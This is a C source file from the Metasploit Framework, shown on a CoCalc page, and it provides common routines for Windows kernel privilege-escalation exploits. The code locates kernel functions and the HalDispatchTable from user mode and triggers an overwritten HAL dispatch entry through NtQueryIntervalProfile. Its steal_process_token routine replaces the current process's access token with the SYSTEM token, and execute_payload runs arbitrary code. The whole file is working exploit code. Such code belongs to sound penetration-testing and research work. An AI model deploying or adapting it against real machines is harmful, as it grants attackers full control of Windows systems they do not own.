CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/win_kernel_common/kernel.c
Views: 11766
1
#include <stdio.h>
2
#include "windefs.h"
3
#include "kernel.h"
4
#include <Psapi.h>
5
6
#define SYSTEM_PID 4
7
#define DRIVER_COUNT 1024
8
9
typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process);
10
typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process);
11
typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength);
12
typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval);
13
14
static ULONG_PTR g_pHalDispatch = 0L;
15
static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL;
16
static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL;
17
static DWORD g_currentPid = 0;
18
static DWORD g_replaced = FALSE;
19
20
static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval)
21
{
22
static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL;
23
24
if (pNtQueryIntervalProfile == NULL)
25
{
26
pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile");
27
}
28
29
return pNtQueryIntervalProfile(profileSource, interval);
30
}
31
32
static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength)
33
{
34
static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL;
35
36
if (pNtQuerySystemInformation == NULL)
37
{
38
pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation");
39
}
40
41
return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength);
42
}
43
44
static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass)
45
{
46
ULONG size = 0x100;
47
const ULONG maxSize = size << 10;
48
PVOID buffer = NULL;
49
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
50
ULONG memIO = 0;
51
52
while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size)
53
{
54
buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size);
55
status = NtQuerySystemInformation(infoClass, buffer, size, &memIO);
56
size = size << 1;
57
}
58
59
if (NT_SUCCESS(status))
60
{
61
return buffer;
62
}
63
64
if (buffer != NULL)
65
{
66
HeapFree(GetProcessHeap(), 0, buffer);
67
}
68
69
return NULL;
70
}
71
72
static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize)
73
{
74
DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf);
75
g_replaced = FALSE;
76
77
for (DWORD_PTR i = 0; i < maxSize; ++i)
78
{
79
if (((pStruct[i] ^ currentValue) & mask) == 0)
80
{
81
pStruct[i] = newValue;
82
g_replaced = TRUE;
83
return;
84
}
85
}
86
}
87
88
BOOL is_driver_loaded(wchar_t* driverName)
89
{
90
// start by finding out how big the buffer size needs to be:
91
LPVOID derp = 0;
92
DWORD sizeNeeded = 0;
93
BOOL result = FALSE;
94
95
// determine the size required first
96
EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded);
97
98
LPVOID* driverList = (LPVOID*)malloc(sizeNeeded);
99
100
if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded))
101
{
102
wchar_t driver[MAX_PATH];
103
DWORD driverCount = sizeNeeded / sizeof(LPVOID);
104
105
for (DWORD i = 0; i < driverCount; ++i)
106
{
107
if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH)
108
&& _wcsicmp(driver, driverName) == 0)
109
{
110
result = TRUE;
111
break;
112
}
113
}
114
}
115
116
free(driverList);
117
118
return result;
119
}
120
121
// Simple wrapper over the steal_process_token that takes the four arguments used by the function we
122
// overwrite in the HAL dispatch
123
VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4)
124
{
125
steal_process_token();
126
}
127
128
VOID steal_process_token()
129
{
130
LPVOID currentProcessInfo = NULL;
131
LPVOID systemProcessInfo = NULL;
132
133
g_pLookupProcessById((HANDLE)g_currentPid, &currentProcessInfo);
134
g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo);
135
136
PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo);
137
PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo);
138
139
find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200);
140
}
141
142
BOOL prepare_for_kernel()
143
{
144
BOOL result = FALSE;
145
PRTL_PROCESS_MODULES procModules = NULL;
146
CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 };
147
PVOID mappedKernel = NULL;
148
149
do
150
{
151
procModules = get_system_info(SystemModuleInformation);
152
if (procModules == NULL || procModules->NumberOfModules == 0)
153
{
154
break;
155
}
156
157
UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH);
158
fullKernelPath[length] = '\\';
159
160
const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName];
161
strcat_s(fullKernelPath, MAX_PATH, firstModule);
162
163
ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase;
164
mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
165
if (mappedKernel == NULL)
166
{
167
break;
168
}
169
170
ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId");
171
172
if (funcAddr == 0L)
173
{
174
break;
175
}
176
177
g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);
178
179
funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken");
180
181
if (funcAddr == 0L)
182
{
183
break;
184
}
185
186
g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);
187
188
funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable");
189
190
if (funcAddr != 0L)
191
{
192
g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel;
193
}
194
195
g_currentPid = GetCurrentProcessId();
196
197
result = TRUE;
198
} while (0);
199
200
if (mappedKernel != NULL)
201
{
202
FreeLibrary(mappedKernel);
203
}
204
205
if (procModules != NULL)
206
{
207
HeapFree(GetProcessHeap(), 0, procModules);
208
}
209
210
return result;
211
}
212
213
BOOL was_token_replaced()
214
{
215
return g_replaced;
216
}
217
218
ULONG_PTR get_hal_dispatch_pointer()
219
{
220
return g_pHalDispatch + sizeof(ULONG_PTR);
221
}
222
223
VOID invoke_hal_dispatch_pointer()
224
{
225
ULONG ignored;
226
NtQueryIntervalProfile(1234, &ignored);
227
}
228
229
DWORD get_page_size()
230
{
231
static DWORD pageSize = 0;
232
if (pageSize == 0)
233
{
234
SYSTEM_INFO si;
235
GetSystemInfo(&si);
236
pageSize = si.dwPageSize;
237
}
238
return pageSize;
239
}
240
241
BOOL create_anon_mapping(MemMapping* memMap)
242
{
243
memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL);
244
if (memMap->mapping == NULL)
245
{
246
return FALSE;
247
}
248
249
memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size());
250
if (memMap->buffer == NULL)
251
{
252
destroy_anon_mapping(memMap);
253
return FALSE;
254
}
255
256
return TRUE;
257
}
258
259
VOID destroy_anon_mapping(MemMapping* memMap)
260
{
261
if (memMap != NULL)
262
{
263
if (memMap->buffer)
264
{
265
UnmapViewOfFile(memMap->buffer);
266
memMap->buffer = NULL;
267
}
268
if (memMap->mapping != NULL)
269
{
270
CloseHandle(memMap->mapping);
271
memMap->mapping = NULL;
272
}
273
}
274
}
275
276
DWORD execute_payload(LPVOID lpPayload)
277
{
278
VOID(*lpCode)() = (VOID(*)())lpPayload;
279
lpCode();
280
return ERROR_SUCCESS;
281
}
282
283